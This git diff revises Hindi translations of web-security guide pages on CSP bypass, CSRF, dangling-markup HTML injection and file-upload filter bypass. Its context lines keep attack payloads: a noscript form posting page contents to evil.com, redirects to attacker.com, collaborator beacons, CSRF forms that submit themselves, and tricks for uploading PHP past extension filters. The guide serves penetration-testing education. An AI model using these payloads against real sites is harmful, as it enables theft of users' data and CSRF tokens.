आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
@ -705,7 +705,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## स्वचालित रूप से CSP बनाना
|
||||
## CSP स्वचालित रूप से बनाना
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
@ -16,7 +16,7 @@ CSRF कमजोरी का लाभ उठाने के लिए, क
|
||||
|
||||
### Quick Check
|
||||
|
||||
आप **Burp में अनुरोध कैप्चर कर सकते हैं** और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
|
||||
आप **Burp में अनुरोध को कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -27,9 +27,9 @@ CSRF हमलों से बचाने के लिए कई प्रत
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [SameSite कुकीज़ के बारे में अधिक](hacking-with-cookies/index.html#samesite)।
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)।
|
||||
- **उपयोगकर्ता सत्यापन**: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है।
|
||||
- **Referrer या Origin हेडर की जांच करना**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
|
||||
- **Referrer या Origin हेडर की जांच**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
|
||||
- `http://mal.net?orig=http://example.com` का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है)
|
||||
- `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL से शुरू होता है)
|
||||
- `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL के साथ शुरू होता है)
|
||||
- **पैरामीटर नामों में परिवर्तन**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
|
||||
- **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और बाद के अनुरोधों में इस टोकन की आवश्यकता करना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
|
||||
|
||||
@ -39,15 +39,15 @@ CSRF हमलों से बचाने के लिए कई प्रत
|
||||
|
||||
### From POST to GET
|
||||
|
||||
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ एक POST अनुरोध भेजने के लिए तैयार है लेकिन**, आपको **जांच करनी चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**।
|
||||
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है लेकिन**, आपको **जांच करनी चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**।
|
||||
|
||||
### Lack of token
|
||||
|
||||
अनुप्रयोग एक तंत्र को लागू कर सकते हैं **टोकन को मान्य करने के लिए** जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से एक Cross-Site Request Forgery (CSRF) हमला करने की अनुमति मिलती है।
|
||||
अनुप्रयोग एक तंत्र को लागू कर सकते हैं **टोकन को मान्य करने के लिए** जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से Cross-Site Request Forgery (CSRF) हमला करने की अनुमति मिलती है।
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं जोड़ने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं बजाय यह सुनिश्चित करने के कि प्रत्येक टोकन आरंभिक सत्र से बंधा हो।
|
||||
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं जोड़ने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं बजाय यह सुनिश्चित करने के कि प्रत्येक टोकन प्रारंभिक सत्र से बंधा हो।
|
||||
|
||||
हमलावर इस तरह से इसका लाभ उठाते हैं:
|
||||
|
||||
@ -59,7 +59,7 @@ CSRF हमलों से बचाने के लिए कई प्रत
|
||||
|
||||
### Method bypass
|
||||
|
||||
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का उपयोग कर रहा है तो आप **POST** विधि का उपयोग करने का प्रयास कर सकते हैं और **भेजें**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का **उपयोग कर रहा है** तो आप **POST** विधि का **उपयोग करने** और **भेजने** का प्रयास कर सकते हैं: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
यह **POST अनुरोध के अंदर \_method पैरामीटर** भेजकर या **हेडर** का उपयोग करके भी काम कर सकता है:
|
||||
|
||||
@ -69,16 +69,16 @@ CSRF हमलों से बचाने के लिए कई प्रत
|
||||
|
||||
### Custom header token bypass
|
||||
|
||||
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** को अनुरोध में जोड़ रहा है जैसे कि **CSRF सुरक्षा विधि**, तो:
|
||||
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** को अनुरोध में **CSRF सुरक्षा विधि** के रूप में जोड़ रहा है, तो:
|
||||
|
||||
- **कस्टमाइज्ड टोकन और हेडर के बिना अनुरोध का परीक्षण करें।**
|
||||
- **समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।**
|
||||
- **कस्टमाइज्ड टोकन और हेडर के बिना** अनुरोध का परीक्षण करें।
|
||||
- **सटीक समान लंबाई लेकिन अलग टोकन** के साथ अनुरोध का परीक्षण करें।
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
अनुप्रयोग CSRF सुरक्षा को टोकन को एक कुकी और एक अनुरोध पैरामीटर में दोहराकर या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
|
||||
अनुप्रयोग CSRF सुरक्षा को टोकन को कुकी और अनुरोध पैरामीटर दोनों में डुप्लिकेट करके या CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
|
||||
|
||||
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देती हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इस पर एक धोखाधड़ी छवि लोड करके लाभ उठा सकते हैं जो कुकी सेट करती है, इसके बाद CSRF हमले को प्रारंभ करती है।
|
||||
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देती हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इस पर एक धोखाधड़ी छवि लोड करके लाभ उठा सकता है जो कुकी सेट करता है, इसके बाद CSRF हमले को प्रारंभ करता है।
|
||||
|
||||
नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है:
|
||||
```html
|
||||
@ -113,7 +113,7 @@ onerror="document.forms[0].submit();" />
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** उपयोग किए गए **Content-Type** के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ को आजमाना चाहिए।
|
||||
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** उपयोग किए गए **Content-Type** के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ का प्रयास करना चाहिए।
|
||||
|
||||
उदाहरण ([यहां](https://brycec.me/posts/corctf_2021_challenges) से) JSON डेटा को text/plain के रूप में भेजने का:
|
||||
```html
|
||||
@ -138,7 +138,7 @@ form.submit()
|
||||
|
||||
जब POST अनुरोध के माध्यम से JSON डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, `XMLHttpRequest` का उपयोग करके इस सामग्री प्रकार को भेजने से एक प्रीफ्लाइट अनुरोध शुरू होता है। फिर भी, इस सीमा को बायपास करने और यह जांचने के लिए रणनीतियाँ हैं कि क्या सर्वर सामग्री प्रकार की परवाह किए बिना JSON डेटा को संसाधित करता है:
|
||||
|
||||
1. **वैकल्पिक सामग्री प्रकारों का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि क्या बैकएंड सामग्री प्रकार की परवाह किए बिना डेटा का उपयोग करता है।
|
||||
1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण यह परीक्षण करता है कि क्या बैकएंड सामग्री प्रकार की परवाह किए बिना डेटा का उपयोग करता है।
|
||||
2. **सामग्री प्रकार को संशोधित करें**: प्रीफ्लाइट अनुरोध से बचने के लिए जबकि यह सुनिश्चित करते हुए कि सर्वर सामग्री को JSON के रूप में पहचानता है, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर को `application/json` स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो इसे सही ढंग से संसाधित किया जा सकता है।
|
||||
3. **SWF फ्लैश फ़ाइल का उपयोग**: एक कम सामान्य लेकिन संभव विधि में ऐसे प्रतिबंधों को बायपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग करना शामिल है। इस तकनीक की गहन समझ के लिए, [इस पोस्ट](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) को देखें।
|
||||
|
||||
@ -158,7 +158,7 @@ form.submit()
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Referrer द्वारा भेजे जाने वाले पैरामीटर के अंदर URL में सर्वर का डोमेन नाम सेट करने के लिए आप कर सकते हैं:
|
||||
URL में सर्वर का डोमेन नाम सेट करने के लिए जिसे Referrer पैरामीटर के अंदर भेजने वाला है, आप कर सकते हैं:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -189,7 +189,7 @@ document.forms[0].submit()
|
||||
```
|
||||
### **HEAD विधि बायपास**
|
||||
|
||||
[**इस CTF लेखन**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) के पहले भाग में समझाया गया है कि [Oak का स्रोत कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक राउटर को **HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने** के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं है - यह एक सामान्य कार्यप्रणाली है जो Oak के लिए अद्वितीय नहीं है। HEAD reqs से निपटने के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें बस **GET हैंडलर को दिया जाता है लेकिन ऐप बस प्रतिक्रिया शरीर को हटा देता है**।
|
||||
[**इस CTF लेख**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) के पहले भाग में समझाया गया है कि [Oak का स्रोत कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक राउटर को **HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने** के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं है - यह एक सामान्य कार्यप्रणाली है जो Oak के लिए अद्वितीय नहीं है। HEAD reqs से निपटने के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें बस **GET हैंडलर को दिया जाता है लेकिन ऐप केवल प्रतिक्रिया शरीर को हटा देता है**।
|
||||
|
||||
इसलिए, यदि एक GET अनुरोध को सीमित किया जा रहा है, तो आप बस **एक HEAD अनुरोध भेज सकते हैं जिसे GET अनुरोध के रूप में संसाधित किया जाएगा**।
|
||||
|
||||
@ -197,7 +197,7 @@ document.forms[0].submit()
|
||||
|
||||
### **CSRF टोकन निकालना**
|
||||
|
||||
यदि एक **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप इसे **निकालने** के लिए [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) भेद्यता या [**Dangling Markup**](dangling-markup-html-scriptless-injection/) भेद्यता का उपयोग कर सकते हैं।
|
||||
यदि एक **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप इसे **निकालने** के लिए [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) भेद्यता या [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) भेद्यता का उपयोग कर सकते हैं।
|
||||
|
||||
### **HTML टैग का उपयोग करके GET**
|
||||
```xml
|
||||
@ -444,7 +444,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **CSRF टोकन चुराएं और एक iframe, एक फॉर्म और Ajax का उपयोग करके एक पोस्ट अनुरोध भेजें**
|
||||
### **CSRF टोकन चुराएं और iframe, एक फॉर्म और Ajax का उपयोग करके एक पोस्ट अनुरोध भेजें**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## Resume
|
||||
|
||||
यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\
|
||||
यह तब भी उपयोगी है यदि कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई है और आप इसे **exfiltrate** करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
|
||||
यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/index.html)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\
|
||||
यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
|
||||
|
||||
यहां टिप्पणी की गई कई तकनीकें कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करके बायपास करने के लिए उपयोग की जा सकती हैं।
|
||||
यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए किया जा सकता है।
|
||||
|
||||
## Main Applications
|
||||
|
||||
@ -32,7 +32,7 @@
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
आप `<base` टैग भी डाल सकते हैं। सभी जानकारी तब तक भेजी जाएगी जब तक उद्धरण बंद नहीं होता, लेकिन इसके लिए कुछ उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा इंगित डोमेन को बदल दिया होगा):
|
||||
आप `<base` टैग भी डाल सकते हैं। सभी जानकारी तब तक भेजी जाएगी जब तक उद्धरण बंद नहीं हो जाता लेकिन इसके लिए कुछ उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा इंगित डोमेन को बदल दिया होगा):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
@ -57,11 +57,11 @@ I get consumed!
|
||||
```
|
||||
एक हमलावर इसका उपयोग जानकारी चुराने के लिए कर सकता है।
|
||||
|
||||
इस [**हमले का एक उदाहरण इस लेख में खोजें**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)।
|
||||
इस हमले का [**उदाहरण इस लेख में खोजें**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
||||
### स्पष्ट पाठ रहस्यों को चुराना 2
|
||||
|
||||
उपरोक्त उल्लेखित तकनीक का उपयोग करके फॉर्म चुराने के लिए (एक नया फॉर्म हेडर इंजेक्ट करना) आप फिर एक नया इनपुट फ़ील्ड इंजेक्ट कर सकते हैं:
|
||||
फार्म चुराने के लिए नवीनतम उल्लेखित तकनीक का उपयोग करते हुए (एक नया फॉर्म हेडर इंजेक्ट करना) आप फिर एक नया इनपुट फ़ील्ड इंजेक्ट कर सकते हैं:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
@ -86,11 +86,11 @@ I get consumed!
|
||||
</form>
|
||||
</form>
|
||||
```
|
||||
### Stealing clear text secrets via noscript
|
||||
### स्पष्ट पाठ रहस्यों को noscript के माध्यम से चुराना
|
||||
|
||||
`<noscript></noscript>` एक टैग है जिसका सामग्री तब व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
|
||||
`<noscript></noscript>` एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
|
||||
|
||||
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करके:
|
||||
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करना:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -101,8 +101,8 @@ From this [portswiggers research](https://portswigger.net/research/evading-csp-w
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक** करने के लिए कहेंगे जो उसे **पेलोड** की ओर **रीडायरेक्ट** करेगा जो आपके द्वारा नियंत्रित है। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** होगी जब तक अगला एकल उद्धरण नहीं आता।\
|
||||
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगा। इसलिए, चूंकि आप उस **पृष्ठ** को नियंत्रित करते हैं जिस पर शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस **`window.name`** तक पहुंच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक करने** के लिए कहेंगे जो उसे **पेलोड** की ओर **रीडायरेक्ट** करेगा जिसे आप नियंत्रित करते हैं। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** होगी अगली एकल उद्धरण तक।\
|
||||
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगी। इसलिए, चूंकि आप उस पृष्ठ को **नियंत्रित** करते हैं जिस पर शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस **`window.name`** तक पहुंच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -132,7 +132,7 @@ AM_PUBLIC; ← Condition always evaluates to true ... }
|
||||
```
|
||||
### JSONP का दुरुपयोग
|
||||
|
||||
यदि आप एक JSONP इंटरफ़ेस पाते हैं, तो आप मनचाही फ़ंक्शन को मनचाही डेटा के साथ कॉल कर सकते हैं:
|
||||
यदि आप एक JSONP इंटरफ़ेस पाते हैं, तो आप मनमाने डेटा के साथ एक मनमानी फ़ंक्शन को कॉल करने में सक्षम हो सकते हैं:
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
@ -161,7 +161,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
इससे कुछ इस तरह से निपटा जा सकता है: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
यह कुछ इस तरह से कम किया जा सकता है: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
एक iframe का दुरुपयोग करके एक अलग पृष्ठ से संवेदनशील जानकारी लीक की जा सकती है **iframes नाम विशेषता का उपयोग करके**। इसका कारण यह है कि आप एक iframe बना सकते हैं जो स्वयं को iframe करता है, HTML इंजेक्शन का दुरुपयोग करते हुए जो **संवेदनशील जानकारी को iframe नाम विशेषता के अंदर प्रदर्शित करता है** और फिर उस नाम को प्रारंभिक iframe से एक्सेस करके लीक कर सकते हैं।
|
||||
```html
|
||||
@ -186,8 +186,8 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
|
||||
|
||||
### New \<portal HTML tag
|
||||
|
||||
आप \<portal टैग की exploitable vulnerabilities पर एक बहुत **दिलचस्प शोध** [यहाँ](https://research.securitum.com/security-analysis-of-portal-element/) पा सकते हैं।\
|
||||
इस लेखन के समय, आपको Chrome में portal टैग को `chrome://flags/#enable-portals` पर सक्षम करना होगा या यह काम नहीं करेगा।
|
||||
आप \<portal टैग की शोषण योग्य कमजोरियों पर एक बहुत **दिलचस्प शोध** [यहाँ](https://research.securitum.com/security-analysis-of-portal-element/) पा सकते हैं।\
|
||||
इस लेखन के समय, आपको Chrome में `chrome://flags/#enable-portals` पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
@ -43,16 +43,16 @@
|
||||
5. पिछले जांच में **एक और परत के एक्सटेंशनों** को जोड़ें:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux अधिकतम 255 बाइट
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
|
||||
